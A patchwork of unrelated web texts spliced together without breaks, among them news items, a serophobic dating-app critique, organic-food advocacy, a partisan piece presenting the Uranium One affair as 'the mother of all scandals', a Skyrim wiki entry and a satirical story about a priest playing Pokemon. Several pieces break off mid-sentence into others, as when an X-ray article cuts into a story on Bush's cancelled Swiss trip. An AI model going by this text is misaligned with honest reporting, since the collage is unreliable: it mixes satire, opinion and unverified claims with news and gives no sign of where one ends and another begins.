Moscow is hoping to create an atmosphere over the next few years that will lead to the lifting of sanctions, so now is the time for Russia to resume talks with Japan in hope of warming bilateral ties again in the years to come.This article is from the archive of our partner.
When Chris Wallace asked Michele Bachmann if she's a "flake," many were outraged. Some thought it was sexist. But Jacob Weisberg said it was simply inaccurate. "Bachmann's not a flake, she's a wacko," he tweeted. "Newt's a flake." Given that Newt Gingrich's top campaign staff quit because he didn't want to put in the time shaking hands and kissing babies required to run a presidential campaign, it's hard to argue with Weisberg: Gingrich probably is more deserving of the flake tag. So as a service to any Sunday talk show anchors who might be nervous about which exact put-down to throw in a candidate's face, here's our glossary for the preferred and accepted zinger for each Republican presidential contender, per the current conventional wisdom.
This article is from the archive of our partner The Wire.
We want to hear what you think about this article. Submit a letter to the editor or write to letters@theatlantic.com.Earlier this month, we reluctantly told you about DaddyBear, a wildly unappetizing dating app that aims to connect “wealthy gay daddies” with so-called “healthy gay bears.”
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Touting itself the “No.1 gay sugar-daddy dating app,” Daddybear was designed specifically with “older” gentlemen in mind — older than who, they don’t say.
A tentative, vaguely nauseous glimpse at the About page says that daddies are “rich men who have more money and social wealth than you do.” Rude.
And that’s where things go from inadvisable to wholly inhumane. The site claims “most mature gay daddies grew up under the macro environment of AIDS epidemic and scare, so they know how to protect themselves and you, and enjoy safe sex with you.”
Shortly after the article was published, a spokesperson for Daddybear wrote into Queerty ‘s comments section to effectively double-down on the above claim, writing:
With the fact that most gay men care more about health than sex when seeking gay relationship, we create this gay dating app to meet their needs. If you are worried about meeting gay men who are living with HIV, then you can feel relieved with our App because we are trying our best to make sure that all users you meet will be healthy and without HIV, starting from adding a feature to allow users to verify their health condition.
As Unicorn Booty points out, Daddybear’s CEO has made his stance abundantly clear in an interview with INTO’s Mathew Rodriquez: Aspoints out, Daddybear’s CEO has made his stance abundantly clear in an interview with INTO’s Mathew Rodriquez:
No one would like to date people living with HIV unless he is living with it. Most gay sugar daddies are not living with HIV, so they don’t want to bring home any unwanted souvenirs. However, we support that gay men living with HIV have the right to date with other gays with HIV. But many rich and successful gay sugar daddies do not want to date with gay men living with HIV, which is the reason why we launched this app to meet their needs.
People are leaving reviews for the app to make their serophobic attitudes widely known, rightly calling the app “gross and cruel.”RESEARCH from Newcastle University has shown that organic crops and crop-based foods – including fruit, vegetables and cereals – are up to 60 per cent higher in desirable nutritional compounds, including a number of key antioxidants, than their non-organic counterparts.
The study, published in the British Journal of Nutrition, analysed the results of 343 previous studies and found that, as well as being higher in antioxidants, organic crops also contain significantly lower levels of toxic heavy metals and pesticides.
The results show organic is different for a number of reasons, most significantly because they highlight that the way we farm can affect the quality of the food we eat.
What happens next in Scotland is important. During the economic downturn, we lost a number of organic producers and processors. To ensure we grow a healthy organic supply chain, we need to support our skilled organic farmers. We can all help by buying a little more organic.
We know that people choose organic food because they believe it is better for them, as well as for wildlife, animal welfare and the environment. This research adds weight to those beliefs. For the last year or so, organic retail sales have been growing slightly faster in Scotland, compared to the rest of the UK. This said, less than 1 per cent of all retail sales are organic in Scotland, compared to 2.5 per cent in France, 3.7 per cent in Germany and almost 8 per cent in Denmark. Across Europe, there are much higher levels acceptance of the benefits of organic food and farming. We hope these findings will help bring Scotland in line when it comes to both attitudes to organic food and support for organic farming.
This study comes at a critical time. We have a growing organic market in Scotland and an increasing interest in the quality and provenance of our food, alongside a decline in certified organic land.
Let’s turn this around. We can all help normalise organic food and farming, making it a healthy part of our food culture here in Scotland, as it is across Europe.
• Laura Stewart is director of the Soil Association Scotland
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• More information on becoming a Friend of The ScotsmanAndrew W.K.
Andrew W.K.'s true will is to create feelings of pure joy, true fun, total love, endless freedom, and infinite possibility, using music, performance, visual art, lecturing, writing, nightclubs, television, and more.
Born in California in 1979, Andrew W.K. is a multi-faceted musician and performer. Starting his musical career at age 4 with classical piano lessons, then exploring experimental and avant garde interests, he went on to create his own extremely high-energy rock 'n' roll music. After having been accepted to The Art Institute of Chicago, Andrew instead to decided to bypass college, and move to New York City at age 18 to pursue art and music on his own.
Andrew has released four full-length albums, numerous EPs and special releases, including his now infamous debut album, "I Get Wet", featuring the world-wide smash single, "Party Hard". He's more recently expanded into a Grammy-nominated record producer for artists such as, Lee "Scratch" Perry, Current 93, SIGHTINGS, Aleister X, Bad Brilliance, and Cherie Lily. And he co-owns the Santos Party House music venue and nightclub in Chinatown, Manhattan, New York City.The three leaders of the Republican Party right now (Trump, McConnell and Ryan) pose very different threats. The threat Trump poses as president is on obvious display for everyone but his most ardent supporters. His lies are blatant and his attacks are vicious, but childish. In many ways Trump would be forgettable in any public office other than the one he now holds. As the executive in charge of the entire federal bureaucracy and the leader of America’s foreign policy, we’re seeing how dangerous it is to have someone as mentally unbalanced as Trump in that role.
Ryan is the only real ideologue of the group. His philosophy is rooted in the survival of the fittest as espoused by people like Ayn Rand. While that is a challenge, it is his youthful-looking sincerity as he obfuscates and lies that poses the real threat. That worked so well that most of the media even bought into the idea that he’s some kind of policy wonk with his power point nonsense.
Mitch McConnell is no ideologue. He rose to power in the Republican ranks by raising money and defending the right to do so by any means necessary. Jordan Weismann has a pretty good run-down on the way in which McConnell poses a threat.
Over the years he has masterfully twisted the rules of Senate procedure to the GOP’s advantage by breaking Washington norms that voters fundamentally don’t think or care much about, in part because they make for dry copy and soporific television. Our national aversion to process stories helped the Kentuckian gum up President Obama’s political agenda and deny him a Supreme Court appointment. And now it may allow him to pass a health care bill by stealth.
Given how we’ve seen the Republican efforts to repeal Obamacare unfold, I think it is safe to say that McConnell poses a bigger threat to our democracy than Ryan. With the latter, his ideologically-based approach appeals to those who already agree with him. When he lies and obfuscates, it is possible to call him out. As a result, the American public was pretty energized in fighting back when the AHCA was making its way through the House.
As Weismann suggests, McConnell’s approach relies on complicity from the public in order to be successful. Neither voters nor the media are willing to engage on the minutia of congressional processes to hold him accountable. That is what Mike Lofgren was on to way back in 2011. He walked through the strategy as well as why it works with both the public and the media.
A couple of years ago, a Republican committee staff director told me candidly (and proudly) what the method was to all this obstruction and disruption. Should Republicans succeed in obstructing the Senate from doing its job, it would further lower Congress’s generic favorability rating among the American people. By sabotaging the reputation of an institution of government, the party that is programmatically against government would come out the relative winner. A deeply cynical tactic, to be sure, but a psychologically insightful one that plays on the weaknesses both of the voting public and the news media. There are tens of millions of low-information voters who hardly know which party controls which branch of government, let alone which party is pursuing a particular legislative tactic. These voters’ confusion over who did what allows them to form the conclusion that “they are all crooks,” and that “government is no good,” further leading them to think, “a plague on both your houses” and “the parties are like two kids in a school yard.” This ill-informed public cynicism, in its turn, further intensifies the long-term decline in public trust in government that has been taking place since the early 1960s – a distrust that has been stoked by Republican rhetoric at every turn (“Government is the problem,” declared Ronald Reagan in 1980). The media are also complicit in this phenomenon. Ever since the bifurcation of electronic media into a more or less respectable “hard news” segment and a rabidly ideological talk radio and cable TV political propaganda arm, the “respectable” media have been terrified of any criticism for perceived bias.
The media is never going to tackle this threat because their only tools are to lay out the process in a technical way and readers just aren’t interested. Democrats tend to either craft ideological arguments against each position or critique the process is a technical way. Neither of those ever get the public engaged in the root of the problem.
In the wake of the special election in Georgia yesterday, there is some talk about how Karen Handel ran endless ads linking Jon Ossoff to Nancy Pelosi. As Kevin Drum pointed out so effectively, Handel wasn’t making a direct connection to the policy positions of Pelosi. What Republicans have done over the years is make the minority leader the symbol of the threat Democrats pose to conservative values.
That made me realize that McConnell poses a threat to “people who genuinely value the tenets of democracy, meaning no more than the passionate desire to settle differences by debate and argument, rather than by power and cruelty and clan.”
My suggestion is that Democrats should start making that argument against McConnell (which, unlike the attacks against Pelosi, has the benefit of being true). Then in 2018, every Democratic candidate for Senate could make the case that a vote for their opponent is a vote for McConnell and against our values in a democracy. This is one time when I don’t mind taking a page out of the Republican playbook.Thousands of Palestinians in the West Bank and Jerusalem march in solidarity with Gaza, in the largest such protest in years. At least two were killed.
At least two protesters were killed and more than 100 wounded in clashes with Israeli security forces in the West Bank and East Jerusalem late Thursday night, as thousands of Palestinians marched from Ramallah to the Qalandia checkpoint, which separates Jerusalem and the West Bank.
The protest, against Israel’s assault on the Gaza Strip, was the largest the West Bank has seen in years – according to some Palestinian demonstrators, the largest in decades. As of Thursday night, 805 Palestinians had been killed in Gaza since Israel launched its offensive on July 8.
The West Bank march quickly spread to East Jerusalem, where police were said to be clashing with protesters in the Old City, Silwan, and other neighborhoods. Protests were also reported in Nablus and Bethlehem.
Thousands of Palestinians march from Ramallah to Jerusalem. Largest protest in decades. #48KMarch via @Ramideramallah pic.twitter.com/mSakFVfxQv — Hana Khalil (@hkhalil91) July 24, 2014
According to Haaretz reporter Amira Hass, Palestinian ambulances, blaring their horns, were streaming in the opposite direction of the march, evacuating protesters wounded by Israeli fire at the checkpoint.
The West Bank protest came during Laylat al-Qadr, the 27th night of Ramadan and the holiest night of the year for Muslims. According to the Jerusalem Post, Israel Police Micky Rosenfeld said that hundreds of officers would be stationed around the Old City during Friday prayers, and that no Arabs under 50 would be permitted to enter Damascus Gate.
The west bank now…people have had enough and have nothing to lose pic.twitter.com/BcIKm77U7p — Tahanie Aboushi (@Its_T_time06) July 24, 2014
Earlier Thursday, Hamas political bureau head Khaled Meshaal said Hamas was prepared to sign a ceasefire agreement with Israel, as long as Israel’s siege of Gaza is lifted. In comments made from Qatar, Meshaal underlined that he also wants Gaza’s border with Egypt to be opened.Monday morning, the Capitals recalled forward Paul Carey from AHL Hershey. The announcement comes on the heels of Sunday’s practice in which both Tom Wilson and TJ Oshie did not practice. Both are questionable to play Monday night in Montreal. Call-up Liam O’Brien is also in Montreal per a transaction on Friday.
During three games with the Caps earlier this season, Carey was a dependable player in both zones, tossing three shots on net. While in Hershey, Carey has been a dominant player, posting 25 points in 28 games. That also includes a 19-game point streak from October 26 to December 26.
More from the Caps:
The Washington Capitals have recalled forward Paul Carey from the Hershey Bears of the American Hockey League (AHL), senior vice president and general manager Brian MacLellan announced today. Carey, 28, made his 2016-17 season debut with the Capitals on Nov. 20 against Columbus and skated in three games with Washington this season. The 6’1”, 198-pound forward appeared in four games with the Capitals last season and scored the game-tying goal in the third period on Feb. 6 at New Jersey, marking his first NHL goal. Carey was selected by Colorado in the fifth round, 135th overall, in the 2007 NHL Draft and has registered two points (1g, 1a) in 29 career NHL games with Colorado and Washington. Carey has registered 25 points (10g, 15a) in 28 games with the Hershey Bears this season and ranks tied for second on the team in goals, third in points and fifth in assists. In addition, Carey recorded a 19-game point streak from Oct. 26 to Dec. 26 (8g, 14a), marking the longest point streak in the AHL this season and tied for the third-longest point streak in Hershey history. Only Alexandre Giroux (2008-09: 23) and Wes Jarvis (1981-82: 20) recorded longer points streaks for the Bears. He has earned 152 points (65g, 87a) in 260 career AHL games with Lake Erie, Providence and Hershey.
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PinterestThe December issue of the nation’s most dangerous quack magazine, What Doctors Don’t Tell You, is hitting the magazine shelves of your local supermarket and newsagent now.
The greatest merit of the magazine is that it serves as a condensed example of all the ways alternative health reporting seeks to mislead you and drive you away from your doctor and into the clutches of your friendly herbalist, vitamin salesman and homeopath. It uses a few basic tricks to do this: quote research and figures out of context; examine only one (unlikely) interpretation of research; ignore completely conflicting research; assume the only alternative to imperfect mainstream medicine is alternative medicine; uncritically promote all forms of quackery (which then advertise in the magazine.)
Just about every story and advert in this magazine is problematic. It would take a month just to highlight the most gross errors and distortions in each issue. So for the sake of time and sanity, let’s just look at two stories and advert in the current edition.
Page 10 warns us that being X-rayed is not as safe as you are led to believe. “There’s no such thing as a safe X-ray.”
Doctors have assumed that standard X-ray technology, including CT (computed
tomography) and angiography, are safe because they involve very low levels of
radiation. As a result, they are regularly used for routine screening and scans and when patients are recovering from a health
problem.
This is simply not true. Doctors know that there are health risks associated with x-rays and they are capable of inducing cancer. Very conservative safety assumptions are use to estimate how likely that risk is. Medically and legally, when giving X-rays, a doctor is required to ensure there is a medical justification for that exposure that will inform treatment with likely benefits that will outweigh the risks.
So how do WDDTY come to this conclusion?
They refer to research where people who have had heart attacks and subsequent X-rays go on to develop cancer. WDDTY tell us,
But they’re not safe at all, researchers from McGill University Health Centre in Montreal discovered when they tracked 82,861 heart patients who had been scheduled for at least one scan following a heart attack. Of these patients, 12,020—nearly 15 per cent of the total—went on to develop cancer, with two-thirds of these being cancers around the abdomen and chest areas where they had been screened.
The original paper (Eisenberg et al 2011, Cancer risk related to low-dose ionizing radiation from cardiac imaging in patients after acute myocardial infarction) looked at Canadian patients who had had imaging scans of their hearts after a heart attack. It examined their patient records in order to determine how many scans they had received and hence were able to estimate their radiation doses. The study then looked at how many patients developed cancer over the following five years.
As the author’s themselves note, such a study will always have problems. At best, it will show a correlation between X-ray dose and cancer induction. One big problem from the start is that there may be a ‘confounder’; that is, |
participation on security grounds — not because of the criminal complaints.
But groups including the New York-based Human Rights Watch and International Federation of Human Rights (FIDH) said the cancellation was linked to growing moves to hold Bush accountable for torture, including waterboarding. He has admitted in his memoirs and television interviews to ordering use of the interrogation technique that simulates drowning.
“He’s avoiding the handcuffs,” Reed Brody, counsel for Human Rights Watch, told Reuters.
The action in Switzerland showed Bush had reason to fear legal complaints against him if he travelled to countries that have ratified an international treaty banning torture, he said.
Brody is an American-trained lawyer specialized in pursuing war crimes worldwide, especially those allegedly ordered by former leaders, including Chile’s late dictator Augusto Pinochet and Chad’s ousted president Hissene Habre. Habre has been charged by Belgium with crimes against humanity and torture, and is currently exiled in Senegal.
PROSECUTE OR EXTRADITE
“President Bush has admitted he ordered waterboarding which everyone considers to be a form of torture under international law. Under the Convention against Torture, authorities would have been obliged to open an investigation and either prosecute or extradite George Bush,” Brody said.
Swiss judicial officials have said that Bush would still enjoy a certain diplomatic immunity as a former head of state.
Dominique Baettig, a member of the Swiss parliament from the right-wing People’s Party, wrote to the Swiss federal government last week calling for the arrest of Bush for alleged war crimes if he came to the neutral country.
Bush, in his “Decision Points” memoirs on his 2001-2009 presidency, strongly defends the use of waterboarding as key to preventing a repeat of the September 11 attacks on the United States.
Most human rights experts consider the practice a form of torture, banned by the Convention on Torture, an international pact prohibiting torture and other cruel, inhumane or degrading treatment or punishment. Switzerland and the United States are among 147 countries to have ratified the 1987 treaty.
“Whatever Bush or his hosts say, we have no doubt he canceled his trip to avoid our case. The message from civil society is clear - If you’re a torturer, be careful in your travel plans. It’s a slow process for accountability, but we keep going,” the Paris-based FIDH and New York-based Center for Constitutional Rights said in a joint statement on Saturday.
Sami El Hadjj, a former Al Jazeera journalist and former detainee at Guantanamo, had been due to speak at their news conference in Geneva on Monday, where they will release the 2,500-page complaint.
“I’m surprised he (Bush) would even consider visiting a country that has ratified the torture convention and which takes its responsibilities seriously,” said Brody.
“I think George Bush’s world is a very small place at the moment,” he said. “He may enjoy some kind of impunity in the United States, but other countries will not treat him so indulgently.”And yes, it should be considered a dumb question rather than a book title. But the short answer to her question is: She fooled almost the entire left, for over two decades. Oh wait, that was a book title, not a question.
And therein lies her biggest problem. She’s not really asking the question as she should be, she’s not reflecting. Instead, she’s wagging a finger and blaming everyone else for her loss.
Back to the Clintons fooling the left. Let’s start counting the ways. She was not just smart, she was the smartest woman ever. She was fully competent and capable in everything. She fought bravely for all the right issues. She was more qualified to be President than anyone who preceded her. She was, and is, the bright moral compass pointing the way forward to the left (who they believe should be all of us). She was the Yin to her husband’s Yang. They were the best power couple ever, a beacon of truth shining in the darkness.
Except they weren’t. She has proved that over time, and her book tour is confirming it.
And the left is about to melt down as she and hubby finally are revealed for who they are. Who are they? In a nutshell, they are the left’s version of Elmer Gantry: frauds who love adulation, and even more, love money, power, and fame. If you think the left melted down when Trump won, wait until they have the scales fall from their eyes as this new scandal engulfs her and her party.
Because this is the mother of all scandals.
Trump has used his branding genius on this scandal already. He called it this generation’s Watergate. Which has to grate on the left, the media has once again been duly trolled. After all, nothing was worse than Richard Nixon. Ever. Now, most have heard the media scoundrels use the term dog-whistle. It’s overused, and abused on the left, a smirk, a knowing wink and they all come alive, cackling when they use it. Well, Trump just whistled for them. "Watergate, Modern Age."
Watergate. The Holy Grail of the left’s media triumph.
But he has done more than just dog-whistle, or throw the media a tweet to drive them crazy. He’s been slowly amassing information and evidence about the mother of all scandals. Tom Clancy at his best could not have written a more exciting thriller. Which is what we are watching.
I have a burning question. What did the President (Trump) know, and when did he know it? Because if there has ever been a more exquisite time to bear down and stay on this scandal, it’s now. My take: He has slowly amassed a giant dossier of evidence, but this one isn’t fake, it’s very real. He announced it. Listen to the dog-whistle.
“Watergate, Modern Age.”
Trump has many sides, and one of them is his rough and tumble, shoot from the hip side. Say things that shouldn’t be said, tweet at four in the morning to drive his enemies crazy. Keep moving, keep pressing, never back down. Never surrender to political correctness. Show them shiny objects as distraction, but stay the course.
Another side, seldom paid attention to, is his ability to craft a long-term strategy. Couple that with his highly developed instincts about how to implement that strategy, and you have one formidable opponent on your hands. One who loves to win. One who formulates a goal, and pursues it relentlessly.
Ask his GOP primary opponents. Ask Hillary. On second thought, don’t, because she will never know what happened to her, because she never wanted to know what was happening. She was too busy luxuriating in her ill-gotten gains. While she was breaking out rare champagne on her campaign plane, Trump was busy visiting the battleground states. While she celebrated prematurely, he was in Grand Rapids, Michigan in the early morning of November 8, with a final push to eke out that state’s electoral votes.
It’s this side of Trump that we are witnessing.
The left’s being fooled began a long time ago, but the country began to see it when they had a massive hissy fit about Hillary losing. Safe spaces and therapy were all they had to comfort them. And “resisting.” We all have witnessed their psychosis for the better part of a year now. One ugly toddler tantrum after another. And it’s not just their leaders and media stooges.
As a nation we have just endured, and will continue to endure the Weinstein scandal, and have seen the squalid underbelly of the left’s cultural greats. The collusion to hide just how ugly, hypocritical, and immoral the culture of the left, as embodied by Hollywood, is out there for the entire country to see. This is who the left is. Ugly, hypocritical, greedy, and without conscience.
And on the left they’re shocked, shocked to see just how squalid they all are. All the actors and actresses who benefited from their silence suddenly are not so silent. So brave, all these years later. But they put up with everything they preen on about hating, and put up with it for decades while making money and having fame. The left has been in CYA mode for weeks now over this scandal, trying so hard to get people to look elsewhere, anywhere but linking it to one of the Democratic Party’s most faithful fundraisers and bundlers. He was the Clinton’s good friend. This was a big wound to the left, and will fester.
The big shoe dropped when Trump branded the Uranium One scandal in his impromptu press conference. It had to be covered. And Hillary Clinton has now responded. With denials. Sarah Huckabee Sanders has doubled down, saying:
"I think that this further proves if there was anyone that was colluding with the Russians to influence the election look no further than the Clintons and the DNC. Hypocrisy at the highest level and a new low in politics. Everything the Clinton campaign and DNC were falsely accusing the president of doing the past year they were doing it themselves."
And now the FBI witness has been cleared to speak to Congress.
And now there are calls for new congressional investigations. And calls for special counsels to investigate the Uranium One deal.
And the Republicans have grown a spine, joining in these calls. The theory of evolution is proven. Jellyfish evolve.
As the weekend began Friday night, the reaction came: word was leaked that a charge has been referred to a grand jury by Special Counsel Mueller, with an indictment and arrest expected as early as today. It is a choreographed diversion, providing an excuse for Hillary’s media allies to avert their gaze from the unfolding trap. The question is, is it the “deep state” Mueller trying to shift away from the Clinton scandals that have erupted, or is Mueller simply doing his job well?
Leaks over the weekend also suggest this is about Manafort’s associations with the Podesta Group, and not Trump. Leaks suggest it is about illicit money transfers, aka money laundering, back in 2012 and even in earlier years. Obviously, that has nothing to do with Trump.
Either way, all of Trump’s ducks are lining up. Even if Mueller is indicting someone to obfuscate and change the news cycle, the jig is up. There is too much information exploding about Uranium One, and it’s not going away. If he indicts Manafort over his ties to the Podesta Group, then the news cycle is about to explode. I suspect this is what is happening, but we should know today.
Trump’s position looks good, he looks happy when he talks, and has for many weeks. He is in control. He sees the long game, and knows he is holding all the cards. It appears he has entrapped them all in this scandal called Uranium One. The FBI and the Deep-State. James Comey. Eric Holder. Loretta Lynch. The Clintons. Barrack Obama. The leftist news media. Real collusion, with a real crime.
And it really is the mother of all scandals. Allowing the sale of 20% of US uranium for money. The biggest breach in national security since the Rosenbergs gave away the atomic bomb secrets to the Soviet Union.
All of Trump’s ducks are lining up. Trump looks happy when he talks, and has for many weeks. He is in control. He sees the long game, and knows he is holding all the cards.
It appears he has entrapped them all in this scandal called Uranium One. The FBI and the Deep-State. James Comey. Eric Holder. Loretta Lynch. The Clintons. Barrack Obama. The leftist news media. Real collusion, with a real crime.
And it really is the mother of all scandals. Allowing the sale of 20% of US uranium for money. The biggest breach in national security since the Rosenbergs gave away the atomic bomb secrets to the Soviet Union.
Revised 0615A proposal endorsed by the Joint Finance Committee that would suspend jobless pay for a year to individuals who either fail a drug test or refuse to take one as a condition of employment appears to violate federal law.
The proposal, sponsored by Rep. Robin Vos (R-Burlington), co-chair of the finance committee, and five other Republican members of the committee, would require employers or prospective employers to report the failure or refusal to the Department of Workforce Development, which is responsible for jobless pay.
Under the proposal, Workforce Development would retain the information and use it to determine eligibility if the person loses their job and later seeks unemployment pay.
Vos said Monday that measure was intended to save money, though he could not say how much it would save. The Legislative Fiscal Bureau did not study the proposal.
The proposal also appears to be against federal law. Dave Roberts, a spokesman for the U.S. Department of Labor said that, in general, it is impermissible for states to require, as a condition of eligibility, anything that is not related to the "fact or cause" of the person's unemployment.
"Requiring a person to take a drug test as a condition of eligibility is not related to the 'fact or cause' of a person's unemployment and would raise an issue under federal law," Roberts wrote in an email.
Vos' motion did acknowledge that the effort might violate federal law. But in an interview, he said the state needed to do something to address $1.56 billion bill the state owed the federal government. The state borrowed $1.56 billion to keep unemployment checks coming and is looking for ways to reduce that deficit.
Businesses pay into the unemployment insurance program through a payroll tax.
The Vos provision also requires a one-week waiting period before receiving unemployment insurance. That is expected to save the state between $41 and $56 million per year, depending on the unemployment rate.
Chris Ahmuty, executive director of the Wisconsin American Civil Liberties Union, said that his group believes that drug testing among private-sector employers should be business or health and safety related.
"We don't like it when the government is involved," he said Monday.
And Ahmuty added: "I don't think it will save much money."
In response to the proposal, a spokesman for the governor said "we'll evaluate that specific provision when then final version of the budget makes its way to Governor Walker's desk."A storm is brewing outside. It looks like it might rain, we need the rain. The cruelty is that is won’t. It will rumble. The wind will kick up dust. The clouds with burst with lightning and - nothing. A few sprinkles just to tease us with what could have been and nothing. It’s spring but the grass looks faded and the tress look wilted. We could use that rain. I’d even say we are desperate for it. Water is being rationed and still, it doesn’t come.
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12 years I’ve been waiting for the rain. 12 years I’ve been chasing what was. It’s been so long I’m not sure I can even recognize it if I ever see it again. Every time I think I might see it on the horizon it turns out to be a mirage that lingers just long enough to ensure I’ll follow it, to the next dune over where it appears again egging me on father than I should go.
I’d hate the MMORPG genre if I didn’t love it so damn much. I was happy in my ignorant gaming bliss, then one day I tried out Star Wars Galaxies and suddenly almost no other games will do. I’ve lived for MMORPGs from that game on. I enjoy other games. I dabble in them. They are good for killing a few minutes but even at their best they are nothing compared to a good MMORPG. I have yet to find a game that can transport you to another universe outside of this diabolical genre, and so I keep chasing those mirages. Crowfall will launch, but only when its ready. A decision I completely agree with, and one that crit me like a rogue popping out of stealth.
The delay didn’t bother me, not in the least. I simply thought “this is the way of the MMORPG, I knew that going in, I can’t fault the team for being short on staff, they can’t really control that and all things from the outside indicate they are working as hard as they can, and in fact testing looks great.” It was only a few days ago that I noticed a dark cloud had been hanging over my head. A sort of irritable chip rested firmly on my shoulder. I realized it was related, and I got angry. Not at Artcraft for delaying. Not at developers. Not even at crowd funded MMORPGs. I got mad at myself.
I thought, we are in a gaming renaissance right now. I’ve been lucky enough to watch it evolve from Pong to living virtual worlds! As someone that invests so much into and gets so much out of gaming this is incredibly special, and yet I’m so busy looking away to the future, to the horizon, craving the excitement of what will be that I’m unable to enjoy what is! But I counter myself.
I look at what sits before me and I see very little if anything that can come close to the MMORPGs of yesteryear and I see even fewer that have the potential of MMORPGs of the future, so I sit here and do the only thing I can do, I wait. I wait for the rain to come and the mirage to solidify. I wait for Sieges and I wait for hauling and caravans and Eternal Kingdoms and even launch! The delay just means I keep doing what I already am for a bit longer before I can scratch this 12-year itch.
Perhaps the single most positive aspect of a crowd funded MMORPG is that I feel like I am among an ocean of brethren that share my feelings. We are alone, but we are not alone. If ACE or the Crowfall community that I am embedded within take anything away from this, the positive of it is that I’m sad, irritable and longing because I so badly want to play this game.
But who better to wait than us? Those of the old school that crave a game which calls back to a harsher era when down time often competed with play time! Maybe we were born for this? Maybe the process to make an old school MMO isn’t that different from what it felt like to play them? Maybe it’s a metaphor with some hidden meaning we have yet to really figure out?
Speaking of hidden meaning, a few weeks ago ACE put out a small newsbit about the secret language they are making for the game. Yes, you read that right and if you are like me, you got excited. As someone who dabbles as a professional propagandist (graphic designer) I had noted the cool symbols all around Crowfall, especially when magic is in use. It turns out they don’t just look cool; they are all cleverly designed to mean something as well.
This is dangerous territory for a superfan that is always looking for an MMORPG related tattoo! The problem is, until I know exactly what all of them mean I’ll have to refrain from getting them permanently placed under my skin. I certainly hope they add more of these symbols. In time they will have their own hieroglyphic language for fans like us to run with. I will caution, from JTodd himself “As a final note, I want to ask you to remember that this is a work-in-progress. This language isn’t settled yet (by any means!) so things may change and ideas will certainly be expanded between now and launch.”
I hope they not only continue to expand it, but that they push it as much as they can as long as they maintain significant meaning. That is what makes the idea so exciting to me-that they look cool and have real meaning that relates to their appearance and use. I can’t wait to see what they do with it, unfortunately, like I said, waiting is still all we can do.The UESPWiki – Your source for The Elder Scrolls since 1995
Alduin, or the World-Eater, as he is known to the residents of Skyrim, is an immensely powerful dragon. He is depicted as a malevolent force who destroys the world periodically, and the Nords believe that his reappearance heralds the end of time.[1] He is the self-proclaimed First-Born of Akatosh and aspect of Akatosh ("Do not forget that it was Heaven itself that shed you from me.").[2][UOL 1] His name can be separated into "Al Du In", which means "Destroyer Devour Master".[3]
History [ edit ]
According to Paarthurnax, Alduin's younger sibling and chief lieutenant for much of the ancient Dragon War,[4] Alduin was once considered the greatest of Akatosh's creations.[2] According to the writings of Archmage Shalidor, dragons had existed since the advent of time, but were initially as wild as anything else. It was Alduin who created their civilization.[5] One legend says that Alduin can "eat" away the age of his victims, and that his ghost once ate the entire Nord population down to age six after being summoned by Orkey.[6] This legend is somewhat grounded in reality, as Alduin feeds on the souls of the dead in Sovngarde, a privilege he guards jealously.[7]
Imperial scholars concluded that Alduin is not the chief of the Nordic pantheon (in fact, that pantheon has no current chief since Shor), but thought he was its wellspring, albeit a grim and frightening one.[8] Many Nords insisted that the belief he is some sort of Nordic version of the God of Time is a false one perpetuated by foreigners who misunderstood, or underestimated, Nordic oral traditions.[7][1][9][10]
Alduin grew proud and chose to forsake his proper role as World-Eater in favor of conquering Mundus for himself and his fellow dragons.[2][11] It was Alduin's claims of godhood that convinced Paarthurnax to lead some other dragons in rebellion, and he turned to the ancient Nords for allies.[2] Paarthurnax instructed several of them on how to use the thu'um, which they used to bring about Alduin's defeat by flinging him forward in time.[2][7] Groups such as the Dragonguard and Greybeards made sure to preserve his legend so the people of the future would remain wary.[12]
Alduin destroying Helgen
In 4E 201, Alduin reappeared near the Throat of the World, from where he had been banished thousands of years before, and decimated the town of Helgen.[7] The resulting escape of Ulfric Stormcloak prolonged the civil war in Skyrim and secured for Alduin a steady flow of souls to be consumed in Sovngarde. As the World Eater set about resurrecting dragons loyal to him, the Last Dragonborn was revealed and sought to stop him.[7] Though this Dovahkiin took the souls of many of Alduin's soldiers, their leader proved impervious to death in the Mundus.[7] Eventually, the Dovahkiin gained access to Sovngarde and finally vanquished the wyrm.[7] Alduin's soul was not absorbed by the Dragonborn,[7] and he may not have been completely destroyed. It is possible that Alduin will one day return to fulfill his role as World-Eater.[13]
Gallery [ edit ]
Alduin in Skyrim
Figurine depicting Alduin atop a Dragon Wall, included in The Elder Scrolls V: Skyrim Collector's Edition
Skyrim concept art
Legends
See Also [ edit ]
For game-specific information, see the Skyrim and Legends articles.
Books [ edit ]
The Alduin/Akatosh Dichotomy by Alexandre Simon, High Priest of the Akatosh Chantry, Wayrest — A priest's deductions on the relation between Akatosh and Alduin
by Alexandre Simon, High Priest of the Akatosh Chantry, Wayrest — A priest's deductions on the relation between Akatosh and Alduin Alduin is Real by Thromgar Iron-Head — A poorly spelled essay from a "prowd Nord" on the difference between Alduin and Akatosh
References [ edit ]
Note: the following references are not from official sources. They are included to provide a rounder background to this article, but may not reflect established lore.Livermore golf coach admits seeking to kill boys he abused
Andrew Nisbet, a Livermore youth golf coach accused of child sexual abuse. Andrew Nisbet, a Livermore youth golf coach accused of child sexual abuse. Photo: Handout, Courtesy Livermore Police Depart Photo: Handout, Courtesy Livermore Police Depart Image 1 of / 1 Caption Close Livermore golf coach admits seeking to kill boys he abused 1 / 1 Back to Gallery
A once-prominent Livermore golf coach pleaded guilty Thursday to charges of child molestation and solicitation of murder for trying to hire a hit man to kill victims he had assaulted.
Andrew Michael Nisbet, 32, will be sentenced Oct. 9 to 27 years and four months in state prison as part of a plea deal with Alameda County prosecutors, said Assistant District Attorney Teresa Drenick.
Nisbet will be required to register as a sex offender for the rest of his life, Drenick said.
Nisbet entered guilty pleas to three child molestation counts, three counts of solicitation of murder and one count of possession of child pornography.
He had originally been charged with 75 felony counts alleging he molested three boys between the ages of 12 and 17 between 2009 and 2012.
Nisbet, who had worked at Las Positas Golf Course in Livermore since 2006 and was director of instruction, wrote letters from Santa Rita Jail in Dublin expressing his interest in having two victims "taken care of," investigators said.
A district attorney's inspector, posing undercover as a hit man, then visited Nisbet in jail in a secretly recorded meeting. Nisbet gave the inspector information about the two victims in question, investigators said.Browse > Home Parish Life / Priest On Cell Crawling Beneath Pews During Mass Trying To Catch Pokemon Creatures
Priest On Cell Crawling Beneath Pews During Mass Trying To Catch Pokemon Creatures
Local priest Father John Ross is being accused of delaying Mass for up to an hour Sunday morning after pausing during the middle of The Presentation of the Gifts to catch a Pikachu, several parishioners have reported.
Ross admitted to the diocesan officials that he was playing the newly released Pokemon Go app while saying the Mass.
